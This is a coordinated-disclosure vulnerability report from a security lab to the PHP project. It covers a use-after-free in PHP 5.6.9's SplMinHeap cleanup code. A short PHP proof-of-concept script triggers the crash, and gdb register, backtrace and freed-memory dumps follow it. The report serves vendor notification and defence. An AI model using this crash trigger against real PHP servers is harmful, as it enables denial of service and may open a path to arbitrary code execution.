Description:
------------
High-Tech Bridge Security Research Lab has discovered a security vulnerability in your product - PHP.

Detailed description and all available details of the vulnerability is provided below in the email.

Please notify us by replying to this email when you release a security update, and provide us if possible with URL of patch/solution so we can add this URL to the advisory.

If you need more time to fix the vulnerability - please specify desired Public Disclosure date by replying to this email.

For any questions related to this notification email - please visit our General Information & Disclosure Policy page: https://www.htbridge.com/advisory/disclosure_policy.html

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===============================================================

Advisory ID: HTB23262
Reference: https://www.htbridge.com/advisory/HTB23262
Product: PHP 
Vendor: PHP Group
Vulnerable Version(s): 5.6.9 and probably prior
Tested Version: 5.6.9
Public Disclosure: June 10, 2015 
Vulnerability Type: Use After Free [CWE-416]
Risk Level: Medium 
CVSSv2 Base Score: 4.6 (AV:L/AC:L/Au:N/C:P/I:P/A:P)
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 



Advisory Details:

High-Tech Bridge Security Research Lab discovered use-after-free vulnerability in a popular programming language PHP, which can be exploited to cause crash and possibly execute arbitrary code on the target system.

The vulnerability resides within the 'spl_heap_object_free_storage()' PHP function when trying to dereference already freed memory. A local attacker can cause segmentation fault or possibly execute arbitrary code on the target system with privileges of webserver. 

Below is a simple exploitation code:
<?php
class SplMinHeap1 extends SplMinHeap {
  public function compare($a, $b) {
    return -parent::notexist($a, $b);
  }
}
$h = new SplMinHeap1();
$h->insert(1);
$h->insert(6);
$h->insert(5);
$h->insert(2); 
?>
Running the following PoC we get:


gdb-peda$ r ~/Desktop/heap_uaf.php 
Starting program: /usr/local/bin/php ~/Desktop/heap_uaf.php
PHP Fatal error:  Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4

Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4

Program received signal SIGSEGV, Segmentation fault.
[--------------------------------------------------------------------------registers---------------------------------------------------------------------------]
RAX: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ)
RBX: 0x8000000 
RCX: 0xcd0458 ("/home/test/De"...)
RDX: 0x16f 
RSI: 0xcd0458 ("/home/test/De"...)
RDI: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ)
RBP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0 
RSP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0 
RIP: 0x82a96f (<zval_delref_p+12>:	mov    eax,DWORD PTR [rax+0x10])
R8 : 0x269 
R9 : 0x0 
R10: 0x7fffffff9b20 --> 0x0 
R11: 0x7ffff71102f0 --> 0xfffda6c0fffda3ef 
R12: 0x4209e0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf30 --> 0x2 
R14: 0x0 
R15: 0x0
[-----------------------------------------------------------------------------code-----------------------------------------------------------------------------]
   0x82a964 <zval_delref_p+1>:	mov    rbp,rsp
   0x82a967 <zval_delref_p+4>:	mov    QWORD PTR [rbp-0x8],rdi
   0x82a96b <zval_delref_p+8>:	mov    rax,QWORD PTR [rbp-0x8]
=> 0x82a96f <zval_delref_p+12>:	mov    eax,DWORD PTR [rax+0x10]
   0x82a972 <zval_delref_p+15>:	lea    edx,[rax-0x1]
   0x82a975 <zval_delref_p+18>:	mov    rax,QWORD PTR [rbp-0x8]
   0x82a979 <zval_delref_p+22>:	mov    DWORD PTR [rax+0x10],edx
   0x82a97c <zval_delref_p+25>:	mov    rax,QWORD PTR [rbp-0x8]
[----------------------------------------------------------------------------stack-----------------------------------------------------------------------------]


As seen above when trying to dereference the value from $rax (which has been already freed) PHP crashes.


Stopped reason: SIGSEGV
0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411
411		return --pz->refcount__gc;

Running the backtrace command we can see a couple of freed variables: zval_ptr, pz
gdb-peda$ bt
#0  0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411
#1  0x000000000082aafb in i_zval_ptr_dtor (zval_ptr=0x5a5a5a5a5a5a5a5a, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute.h:76
#2  0x000000000082bdcb in _zval_ptr_dtor (zval_ptr=0x7ffff7fcba88, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:424
#3  0x00000000006e5c1a in spl_heap_object_free_storage (object=0x7ffff7dfdfa0) at /home/test/Desktop/php-5.6.9/ext/spl/spl_heap.c:367
#4  0x000000000087f566 in zend_objects_store_free_object_storage (objects=0x102e640 <executor_globals+928>) at /home/test/Desktop/php-5.6.9/Zend/zend_objects_API.c:97
#5  0x000000000082b89e in shutdown_executor () at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:290
#6  0x0000000000841a4c in zend_deactivate () at /home/test/Desktop/php-5.6.9/Zend/zend.c:960
#7  0x00000000007a7c40 in php_request_shutdown (dummy=0x0) at /home/test/Desktop/php-5.6.9/main/main.c:1882
#8  0x00000000008f6501 in do_cli (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1177
#9  0x00000000008f6d8b in main (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1378
#10 0x00007ffff6faaec5 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6
#11 0x0000000000420a09 in _start ()


Lastly, from stack #2 we clearly see that the zval_ptr pointer (0x7ffff7fcba88) points to freed memory:


gdb-peda$ x/50xw 0x7ffff7fcba88
0x7ffff7fcba88:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcba98:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbaa8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbab8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbac8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbad8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbae8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbaf8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbb08:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbb18:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbb28:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbb38:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbb48:	0x5a5a5a5a	0x5a5a5a5a


This vulnerability was successfully reproduced Ubuntu 14.04.1 LTS (32 bit and 64 bit) on the latest version of PHP 5.6.9.

Test script:
---------------
<?php
class SplMinHeap1 extends SplMinHeap {
  public function compare($a, $b) {
    return -parent::notexist($a, $b);
  }
}
$h = new SplMinHeap1();
$h->insert(1);
$h->insert(6);